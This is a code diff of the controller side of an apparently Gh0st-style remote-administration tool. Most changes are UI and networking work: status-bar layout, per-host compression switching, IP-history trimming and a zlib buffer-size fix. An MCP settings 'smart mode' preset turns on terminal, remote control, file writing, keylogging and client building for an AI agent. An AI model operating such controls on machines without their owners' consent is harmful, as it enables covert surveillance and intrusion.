m_nPaneMcpWidth = CalcStatusFlagPaneWidth(m_StatusBar, strMcp, strMcpWidest);
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, m_nPaneTlsWidth);
m_StatusBar.SetPaneText(1, strTls);
m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, m_nPaneMcpWidth);
m_StatusBar.SetPaneText(2, strMcp);
// === 分区4:运行统计 ===
@@ -4326,12 +4386,21 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", ';', 6543));
}
}
// 根据是否有内容设置分区宽度
int paneFrpWidth = 250;
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, paneFrpWidth);
// 分区宽度按实际地址文本实测,但**不小于**改动前的固定宽度:250/180/180 在
// 100% 缩放下是验证过的,实测值只用于在高缩放比/大字体机器上把它们撑大。
m_nPaneFrpWidth = max(250, CalcStatusPaneWidth(m_StatusBar, strFrpDisplay));
m_StatusBar.SetPaneText(3, strFrpDisplay);
// === 分区4:运行统计 ===
// 宽度取「当前文本」与「可能出现的最长格式」的较大者:数字随时间增长时分区
// 不会每分钟跳一次,缩放比高的机器上也不会把 MTBF/运行时长截掉。
CString strRuntimeWidest =
_TR("运行:") + CString(_T(" 99999d 23h ")) + _TR("(无崩溃)");
m_nPaneRuntimeWidth = max(180,
max(CalcStatusPaneWidth(m_StatusBar, strRuntime),
CalcStatusPaneWidth(m_StatusBar, strRuntimeWidest)));
m_nPaneRuntimeWidth = max(m_nPaneRuntimeWidth,
CalcStatusPaneWidth(m_StatusBar, CString(_T("MTBF: 999d23h | 100.0%"))));
m_StatusBar.SetPaneText(4, strRuntime);
// === 分区5:到期时间 ===
@@ -4383,8 +4452,52 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
strDays.Format(_T("(%lld"), diffDays);
strExpire = _TR("到期:") + CString(_T(" ")) + strDate + _T(" ") + strDays + _TR("天") + _T(")");
}
// 宽度按文本实测,再多留一层富余:不同系统对英文字形("Expires:" 里的西文)
// 的字体回退和 GetTextExtent 有出入,多留 20px 总比截断好。下限 220 保证
// 「Expires: 2026-12-31 (41d)」这类比中文更长的串有足够空间。
m_nPaneExpireWidth = max(220, CalcStatusPaneWidth(m_StatusBar, strExpire) + 20);
m_StatusBar.SetPaneText(5, strExpire);
} else {
// 无授权信息:分区宽度归零(隐藏)
m_nPaneExpireWidth = 0;
}
// 各分区宽度都已按当前语言/DPI 算好,统一交给布局函数落位:窗口不够宽时
// 它会按优先级收掉低价值分区,保证「到期时间」不会被挤出右边缘。
LayoutStatusPanes();
}
// 按状态栏实际宽度布置分区。所有分区宽度之和(加上消息区下限)超过窗口时,按
// 运行统计 → FRP → MCP → TLS 的顺序隐藏,避免最后一个分区被窗口右边缘裁掉——
// 英文串比中文长、缩放比更高、窗口更窄,都会把总宽度顶上去,这里统一兜底。
void CMy2015RemoteDlg::LayoutStatusPanes()
{
if (!m_StatusBar.GetSafeHwnd())
return;
CRect rc;
m_StatusBar.GetClientRect(&rc);
int widths[6] = { 0, m_nPaneTlsWidth, m_nPaneMcpWidth, m_nPaneFrpWidth,
m_nPaneRuntimeWidth, m_nPaneExpireWidth };
static const int kDropOrder[] = { 4, 3, 2, 1 };
const int kMinMessageWidth = 120;
int fixedWidth = 0;
for (int i = 1; i <= 5; ++i)
fixedWidth += max(0, widths[i]);
for (int i = 0; i < (int)(sizeof(kDropOrder) / sizeof(kDropOrder[0]))
&& fixedWidth + kMinMessageWidth > rc.Width(); ++i) {
const int idx = kDropOrder[i];
fixedWidth -= max(0, widths[idx]);
widths[idx] = 0;
}
const int paneMsg = max(0, rc.Width() - fixedWidth - 20);
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, paneMsg);
for (int i = 1; i <= 5; ++i)
m_StatusBar.SetPaneInfo(i, m_StatusBar.GetItemID(i), SBPS_NORMAL, max(0, widths[i]));
}
void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
@@ -4900,6 +5013,42 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
pExperimentMenu->DeleteMenu(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND);
if (SHOULD_HIDE_CTX(HIDE_CTX_EXPERIMENT_TLS_DISABLE, CF_EXPERIMENT_TLS_DISABLE))
pExperimentMenu->DeleteMenu(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND);
// 线缆压缩切换:放在实验功能末尾。仅当该组仍有可见项时追加——被功能位整组
// 隐藏时既不泄露,也不影响下面「空组摘除」的逻辑。
if (!IsPopupEmptyOfItems(pExperimentMenu)) {
// 置灰规则:选中的主机全是 zstd → ZSTD 置灰;全是 zlib → ZLIB 置灰;
// 混选时两个都可用;有老客户端不支持切换时两个都置灰。
int sel = 0, zstdN = 0, zlibN = 0, unsupported = 0;
EnterCriticalSection(&m_cs);
POSITION modePos = m_CList_Online.GetFirstSelectedItemPosition();
while (modePos) {
context* c = GetContextByListIndex(m_CList_Online.GetNextSelectedItem(modePos));
if (!c || !c->IsLogin()) continue;
++sel;
if (!c->SupportsCompressSwitch()) { ++unsupported; continue; }
const int m = c->GetCompressMethod();
if (m == COMPRESS_ZSTD) ++zstdN;
else if (m == COMPRESS_ZLIB) ++zlibN;
}
LeaveCriticalSection(&m_cs);
UINT zstdFlags = MF_STRING, zlibFlags = MF_STRING;
if (sel > 0) {
if (unsupported > 0) {
zstdFlags |= MF_GRAYED;
zlibFlags |= MF_GRAYED;
} else {
if (zstdN == sel) zstdFlags |= MF_GRAYED; // 已经是 zstd
if (zlibN == sel) zlibFlags |= MF_GRAYED; // 已经是 zlib
}
}
pExperimentMenu->AppendMenu(MF_SEPARATOR);
pExperimentMenu->AppendMenuL(zstdFlags, ID_EXPERIMENT_COMPRESS_ZSTD, "线缆压缩:ZSTD");
pExperimentMenu->AppendMenuL(zlibFlags, ID_EXPERIMENT_COMPRESS_ZLIB, "线缆压缩:ZLIB");
pExperimentMenu->SetMenuItemBitmaps(ID_EXPERIMENT_COMPRESS_ZSTD, MF_BYCOMMAND,
&m_bmCompressZstd, &m_bmCompressZstd);
pExperimentMenu->SetMenuItemBitmaps(ID_EXPERIMENT_COMPRESS_ZLIB, MF_BYCOMMAND,
&m_bmCompressZlib, &m_bmCompressZlib);
}
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
if (SubMenu->GetSubMenu(i) == pExperimentMenu) {
protoInsertPos = (int)i + 1;
@@ -5247,6 +5396,37 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// ---- 线缆压缩切换(在线列表右键 → 实验功能 → 线缆压缩:ZSTD / ZLIB)----
void CMy2015RemoteDlg::OnExperimentCompressZstd() { SwitchSelectedCompression("zstd"); }
void CMy2015RemoteDlg::OnExperimentCompressZlib() { SwitchSelectedCompression("zlib"); }
VOID CMy2015RemoteDlg::SwitchSelectedCompression(const char* mode)
{
// 老客户端不认识 COMMAND_SET_COMPRESS,收到只会丢弃;先按能力位过滤。
int selected = 0, unsupported = 0;
EnterCriticalSection(&m_cs);
for (context* ctx : ResolveCommandTargets()) {
if (!ctx->IsLogin()) continue;
++selected;
if (!ctx->SupportsCompressSwitch()) ++unsupported;
}
LeaveCriticalSection(&m_cs);
if (selected == 0) return;
if (unsupported > 0) {
MessageBoxL(_T("选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)"),
_T("提示"), MB_ICONWARNING);
return;
}
// 载荷 [cmd]["zstd"|"zlib"]。客户端写入 settings\compress 后断开当前连接,
// 原地切换压缩模式并由 StartClient 重连循环用新模式建链;服务端按每个连接的
// 首包自动识别算法,不影响其它主机。
std::string pkt(1, (char)COMMAND_SET_COMPRESS);
pkt += mode;
Mprintf("[compress-switch] send %s to %d host(s)\n", mode, selected);
SendSelectedCommand((PBYTE)&pkt[0], (ULONG)pkt.size());
}
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)----
//
// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL
@@ -10278,6 +10458,15 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
};
// 压缩算法标注:服务端按连接自动识别(首个压缩包解压时定型),追加在加密协议后面。
// 不改 FormatL 的格式串,避免影响多语言翻译 key。
CString typeText = typMap[type].c_str();
switch (ctx->GetCompressMethod()) {
case COMPRESS_ZSTD: typeText += " [ZSTD]"; break;
case COMPRESS_ZLIB: typeText += " [ZLIB]"; break;
case COMPRESS_NONE: typeText += " [NONE]"; break;
default: break; // COMPRESS_UNKNOWN:不标注
}
CString processInfo;
if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
processInfo.FormatL("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
@@ -10298,7 +10487,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + _L(" 位 "), res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), elapsed,
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typeText.GetString(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
// 地理信息只在加载了本地 IP 库(QQWry/ip2region)时才查询并展示。
// 未装库时 m_IPConverter 是网络版 GetGeoLocation(同步外网 HTTP,可达数秒),
// 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
@@ -13580,6 +13769,22 @@ context* CMy2015RemoteDlg::FindHostByClientID(uint64_t clientID)
return ctx;
}
bool CMy2015RemoteDlg::GetHostClientType(uint64_t clientID, CString& clientType)
{
clientType.Empty();
bool found = false;
EnterCriticalSection(&m_cs);
auto it = m_ClientIndex.find(clientID);
if (it != m_ClientIndex.end() && it->second < m_HostList.size()) {
if (context* ctx = m_HostList[it->second]) {
clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
found = true;
}
}
LeaveCriticalSection(&m_cs);
return found;
}
uint64_t CMy2015RemoteDlg::FindClientIDByIP(const std::string& ip)
{
CString clientIP(ip.c_str());
+15
View File
@@ -479,12 +479,19 @@ public:
CString m_strFrpAddr; // FRP 地址 (IP:Port),由上级提供
int m_nPaneTlsWidth = 60; // 状态栏 TLS 分区宽度(按当前语言实测文本宽度)
int m_nPaneMcpWidth = 60; // 状态栏 MCP 分区宽度(按当前语言实测文本宽度)
int m_nPaneFrpWidth = 250; // 状态栏 FRP 分区宽度(按当前文本实测)
int m_nPaneRuntimeWidth = 180; // 运行统计分区宽度(按最长可能文本实测)
int m_nPaneExpireWidth = 0; // 到期时间分区宽度(按当前文本实测;0 = 无授权/隐藏)
void UpdateStatusBarStats(); // 更新状态栏统计信息
void LayoutStatusPanes(); // 按窗口宽度布置状态栏分区(空间不足时按优先级隐藏)
CTrueColorToolBar m_ToolBar;
CGridDialog * m_gridDlg = NULL;
std::vector<DllInfo*> m_DllList;
context* FindHostByIP(const std::string& ip);
context* FindHostByClientID(uint64_t clientID); // 线程安全:通过 clientID 精确查主连接
// 线程安全:在 m_cs 内读取并返回值,避免调用方拿到裸指针后再访问附加数据;
// 找不到主连接时返回 false。
bool GetHostClientType(uint64_t clientID, CString& clientType);
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全:在锁内获取ID
void InjectTinyRunDll(const std::string& ip, int pid);
NOTIFYICONDATA m_Nid;
@@ -499,6 +506,8 @@ public:
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[77];
CBitmap m_bmCompressZstd; // 实验功能→线缆压缩:ZSTD
CBitmap m_bmCompressZlib; // 实验功能→线缆压缩:ZLIB
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -564,6 +573,8 @@ public:
// 获取有效的主控地址(优先使用上级FRP配置)
// 返回值:是否使用了FRP地址
static bool GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat=false);
// 本地是否已启用自有 FRP(UseFrp + 主控地址;仅 64 位主控)
static bool IsLocalFrpEnabled();
void StartFrpcAuto(const FrpAutoConfig& cfg);
void StopFrpcAuto();
void InitFrpcAuto(); // 启动时自动恢复
@@ -590,6 +601,10 @@ public:
afx_msg void OnExperimentDrawingBoard();
afx_msg void OnExperimentTlsEnable();
afx_msg void OnExperimentTlsDisable();
// 线缆压缩切换(实验功能子菜单):写客户端配置并触发立即重连(zstd / zlib)
afx_msg void OnExperimentCompressZstd();
afx_msg void OnExperimentCompressZlib();
VOID SwitchSelectedCompression(const char* mode);
// 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS
afx_msg void OnProtoSwitchTcp();
afx_msg void OnProtoSwitchWs();
@@ -107,6 +107,7 @@
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -142,6 +143,7 @@
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -177,6 +179,7 @@
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
@@ -214,6 +217,7 @@
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
@@ -239,6 +243,7 @@
<None Include="..\..\macos\ghost" />
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="server_exports.def" />
<None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\Release\TinyRun.dll" />
+10
View File
@@ -906,6 +906,16 @@ void CLicenseDlg::OnLicenseViewIPs()
start = end + 1;
}
// 按最后活跃时间倒序展示(新的在前);无时间戳/无法解析的记录排在最后。
// 存储侧已保证最近上报的条目在前,这里再做一次稳定排序,兼容旧版本写下的
// "首次出现倒序" 数据,打开对话框即可看到正确的顺序。
std::stable_sort(records.begin(), records.end(),
[](const IPRecord& a, const IPRecord& b) {
int da = (a.daysAgo < 0) ? 0x7FFFFFFF : a.daysAgo;
int db = (b.daysAgo < 0) ? 0x7FFFFFFF : b.daysAgo;
return da < db;
});
// 如果有记录被删除,保存更新后的 IP 列表
if (removedCount > 0) {
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
+32 -9
View File
@@ -251,6 +251,11 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
// IP 列表管理常量
#define MAX_IP_HISTORY 1000 // 最多保留 几 个不同的 IP
// 单个 IP 值总字节数上限。Win32 profile API 对单个值有约 64KB 的硬限制:
// 值超过后 GetPrivateProfileStringA 只返回被截断的尾部,而
// WritePrivateProfileStringA 会把整行再追加一遍(实测 66KB 的值读回 464 字节、
// 文件膨胀到两倍),之后的读改写会永久写坏历史。留出余量按 60KB 控制。
#define MAX_IP_LIST_BYTES 60000
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
@@ -306,7 +311,8 @@ static std::string SerializeIPList(const std::vector<std::pair<std::string, std:
return result;
}
// 更新 IP 列表:添加新 IP 或更新已有 IP 的时间戳
// 更新 IP 列表:添加新 IP 或刷新已有 IP 的时间戳,并按最后活跃时间倒序排列
// (最近上报的条目始终在最前,查看 IP 历史时即为倒序)。
// 格式: IP(机器名)|时间戳,例如 "1.2.3.4(PC01)|260219" (yyMMdd 格式)
// 返回更新后的 IP 列表字符串
static std::string UpdateIPList(const std::string& existingIPList, const std::string& newIP, const std::string& machineName = "")
@@ -341,11 +347,12 @@ static std::string UpdateIPList(const std::string& existingIPList, const std::st
};
// 查找是否已存在该 IP(只比较 IP 部分,兼容旧格式)
// 命中的条目连同新时间戳移到列表开头:列表顺序 = 最后活跃时间倒序
bool found = false;
for (auto& entry : ipList) {
if (extractIP(entry.first) == newIP) {
entry.first = ipKey; // 更新为新格式(带机器名)
entry.second = timestamp; // 更新时间戳
for (auto it = ipList.begin(); it != ipList.end(); ++it) {
if (extractIP(it->first) == newIP) {
ipList.erase(it);
ipList.insert(ipList.begin(), { ipKey, timestamp });
found = true;
break;
}
@@ -354,11 +361,27 @@ static std::string UpdateIPList(const std::string& existingIPList, const std::st
if (!found) {
// 新 IP,添加到开头(最近的在前)
ipList.insert(ipList.begin(), { ipKey, timestamp });
}
// 限制数量
if (ipList.size() > MAX_IP_HISTORY) {
ipList.resize(MAX_IP_HISTORY);
}
// 限制数量:达到上限时淘汰尾部(最久未活跃)的记录,保证新记录始终写得进去
if (ipList.size() > MAX_IP_HISTORY) {
ipList.resize(MAX_IP_HISTORY);
}
// 限制字节数:尾部(最久未活跃)继续淘汰,避免单个值越过 INI 的 64KB 上限后
// 读写整体失效(见 MAX_IP_LIST_BYTES 注释)。机器名很长时条数没到上限也会触发。
size_t totalBytes = 0;
for (size_t i = 0; i < ipList.size(); ++i) {
totalBytes += ipList[i].first.size();
if (!ipList[i].second.empty()) totalBytes += 1 + ipList[i].second.size();
if (i > 0) totalBytes += 2; // ", " 分隔符
}
while (ipList.size() > 1 && totalBytes > MAX_IP_LIST_BYTES) {
const auto& last = ipList.back();
totalBytes -= last.first.size();
if (!last.second.empty()) totalBytes -= 1 + last.second.size();
totalBytes -= 2; // 去掉它前面的 ", "
ipList.pop_back();
}
return SerializeIPList(ipList);
+3 -1
View File
@@ -1410,8 +1410,10 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
// zlib 用 compressBound:1.001n+12 对小于约 1KB 的包会比 compressBound 少
// 1 字节,compress() 返回 Z_BUF_ERROR,小包(心跳 ACK、控制命令)被静默丢弃。
unsigned long ulCompressedLength = usingZstd ?
ZSTD_compressBound(ulOriginalLength) : (unsigned long)((double)ulOriginalLength * 1.001 + 12);
ZSTD_compressBound(ulOriginalLength) : compressBound(ulOriginalLength);
// 使用预分配缓冲区替代每次 new
LPBYTE CompressedBuffer = ContextObject->GetSendCompressBuffer(ulCompressedLength);
Buffer tmp(szBuffer, ulOriginalLength);
+81 -9
View File
@@ -100,6 +100,8 @@ BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
ON_BN_CLICKED(IDC_MCP_HTTPS, &CMcpSettingsDlg::OnHttpsToggle)
ON_BN_CLICKED(IDC_MCP_CERT_BROWSE, &CMcpSettingsDlg::OnBrowseCert)
ON_BN_CLICKED(IDC_MCP_KEY_BROWSE, &CMcpSettingsDlg::OnBrowseKey)
ON_BN_CLICKED(IDC_MCP_PRESET_READONLY, &CMcpSettingsDlg::OnPresetReadonly)
ON_BN_CLICKED(IDC_MCP_PRESET_SMART, &CMcpSettingsDlg::OnPresetSmart)
END_MESSAGE_MAP()
CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
@@ -129,6 +131,13 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnEnable.Create(_TR("启用 MCP"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_ENABLE);
// 与「启用 MCP」同一行、紧随其后的两个一键预设按钮。
m_btnPresetReadonly.Create(_TR("只读模式"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
r0, this, IDC_MCP_PRESET_READONLY);
m_btnPresetSmart.Create(_TR("智能模式"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
r0, this, IDC_MCP_PRESET_SMART);
m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
r0, this, IDC_MCP_PORT);
@@ -184,8 +193,10 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnBuild.Create(_TR("启用客户端生成(AI 生成客户端文件,要求只读关)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_BUILD);
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
// 命令白名单:保留原有读取/规范化/回存逻辑,仅不在 UI 上显示——
// 该输入对普通用户过于专业、容易误解。(隐藏控件仍承载配置值)
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD, r0, this, (UINT)-1);
m_editWhitelist.Create(WS_CHILD | WS_BORDER | WS_TABSTOP |
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
r0, this, IDC_MCP_WHITELIST);
m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
@@ -197,6 +208,8 @@ BOOL CMcpSettingsDlg::OnInitDialog()
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
if (hFont) {
m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnPresetReadonly.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnPresetSmart.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
@@ -299,6 +312,45 @@ void CMcpSettingsDlg::OnHttpsToggle()
UpdateHttpsState();
}
// 「只读模式」预设:一键切到只读安全的工具组合。
// 顺带打开「启用 MCP」(未开则开),勾选「只读模式(禁命令执行)」,
// 并关闭其余所有工具开关——与「智能模式」互相切换后状态才一致。
// (此前漏关 fileTransfer/machine/chat/keylog,Smart→ReadOnly 会残留勾选。)
void CMcpSettingsDlg::OnPresetReadonly()
{
m_btnEnable.SetCheck(BST_CHECKED);
m_btnReadonly.SetCheck(BST_CHECKED);
m_btnTerminal.SetCheck(BST_UNCHECKED);
m_btnRemoteControl.SetCheck(BST_UNCHECKED);
m_btnFileTransfer.SetCheck(BST_UNCHECKED);
m_btnFileWrite.SetCheck(BST_UNCHECKED);
m_btnManage.SetCheck(BST_UNCHECKED);
m_btnMachine.SetCheck(BST_UNCHECKED);
m_btnMachineDangerous.SetCheck(BST_UNCHECKED);
m_btnChat.SetCheck(BST_UNCHECKED);
m_btnKeylog.SetCheck(BST_UNCHECKED);
m_btnBuild.SetCheck(BST_UNCHECKED);
}
// 「智能模式」预设:一键启用全部 MCP 工具。
// 顺带打开「启用 MCP」(未开则开);只读模式会禁用命令执行等开关,故一并关闭;
// 主机管理与危险主机操作成对打开,否则保存时 OnOK 会因「危险操作依附于主机管理」而回退。
void CMcpSettingsDlg::OnPresetSmart()
{
m_btnEnable.SetCheck(BST_CHECKED);
m_btnReadonly.SetCheck(BST_UNCHECKED);
m_btnTerminal.SetCheck(BST_CHECKED);
m_btnRemoteControl.SetCheck(BST_CHECKED);
m_btnFileTransfer.SetCheck(BST_CHECKED);
m_btnFileWrite.SetCheck(BST_CHECKED);
m_btnManage.SetCheck(BST_CHECKED);
m_btnMachine.SetCheck(BST_CHECKED);
m_btnMachineDangerous.SetCheck(BST_CHECKED);
m_btnChat.SetCheck(BST_CHECKED);
m_btnKeylog.SetCheck(BST_CHECKED);
m_btnBuild.SetCheck(BST_CHECKED);
}
void CMcpSettingsDlg::OnBrowseCert()
{
CString cur;
@@ -442,7 +494,31 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
const int btnH = 26;
int y = margin;
m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
// 「启用 MCP」与其后的两个预设按钮同处一行:只读模式 / 智能模式。
// 预设按钮宽度按当前语言的按钮文本自适应,避免英文/德文译文被裁切。
CString presetText1, presetText2;
m_btnPresetReadonly.GetWindowText(presetText1);
m_btnPresetSmart.GetWindowText(presetText2);
int presetTextW = 0;
{
CClientDC dc(this);
CFont* pFont = GetFont();
CFont* pOld = pFont ? dc.SelectObject(pFont) : nullptr;
int w1 = dc.GetTextExtent(presetText1).cx;
int w2 = dc.GetTextExtent(presetText2).cx;
presetTextW = (w1 > w2) ? w1 : w2;
if (pOld) dc.SelectObject(pOld);
}
const int presetBtnW = presetTextW + 24; // 左右内边距
const int presetBtnH = 22;
const int presetGap = 8;
int smartX = cx - margin - presetBtnW;
int readonlyX = smartX - presetGap - presetBtnW;
int enableW = readonlyX - presetGap - margin;
if (enableW < 90) enableW = 90;
m_btnEnable.MoveWindow(margin, y, enableW, 22);
m_btnPresetReadonly.MoveWindow(readonlyX, y, presetBtnW, presetBtnH);
m_btnPresetSmart.MoveWindow(smartX, y, presetBtnW, presetBtnH);
y += 30;
m_lblPort.MoveWindow(margin, y, labelW, rowH);
@@ -506,12 +582,8 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
m_btnBuild.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
const int whitelistH = 90;
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
y += whitelistH + gap;
// 确定 / 取消按钮紧跟白名单下方,不再锚定到底部,避免白名单与按钮之间出现大段空白。
// 命令白名单控件已隐藏,不占布局空间(逻辑保留,见 OnInitDialog / OnOK)。
// 确定 / 取消按钮紧跟最后一个开关下方,不再锚定到底部,避免出现大段空白。
m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
y += btnH + margin;
+5
View File
@@ -21,6 +21,8 @@ protected:
afx_msg void OnHttpsToggle();
afx_msg void OnBrowseCert();
afx_msg void OnBrowseKey();
afx_msg void OnPresetReadonly(); // 「只读模式」预设:勾选只读并关闭依赖只读关闭的开关
afx_msg void OnPresetSmart(); // 「智能模式」预设:启用全部工具并关闭只读
DECLARE_MESSAGE_MAP()
@@ -47,9 +49,12 @@ private:
IDC_MCP_KEY_BROWSE = 1019, // 私钥路径「浏览」按钮
IDC_MCP_FILEWRITE = 1020, // 「启用文件写入」复选框(删除/改名/建目录,要求只读关)
IDC_MCP_BUILD = 1021, // 「启用客户端生成」复选框(build_client,要求只读关)
IDC_MCP_PRESET_READONLY = 1022, // 「只读模式」预设按钮
IDC_MCP_PRESET_SMART = 1023, // 「智能模式」预设按钮
};
CButton m_btnEnable;
CButton m_btnPresetReadonly, m_btnPresetSmart; // 「启用 MCP」右侧的一键预设
CStatic m_lblPort, m_lblBind, m_lblToken;
CEdit m_editPort, m_editBind, m_editToken;
CButton m_btnReadonly;
+46 -14
View File
@@ -452,7 +452,7 @@ namespace {
const int kStatusInfoMinWidth = 170;
const int kStatusInfoHeight = 24;
const int kStatusInfoPadX = 16; // 文本左右留白
// 宽度按 16px 取整:FPS / KB/s 每秒都在变,位数进位会让窗口每秒抖动一两个像素
// 宽度按 16px 取整,避免质量名变化时窗口左右微挪
const int kStatusInfoWidthStep = 16;
}
@@ -497,15 +497,20 @@ BOOL CStatusInfoWnd::Create(CWnd* pParent)
int CStatusInfoWnd::MeasureWidth()
{
if (m_strInfo.IsEmpty())
return kStatusInfoMinWidth;
CClientDC dc(this);
CFont* pOldFont = dc.SelectObject(&m_infoFont);
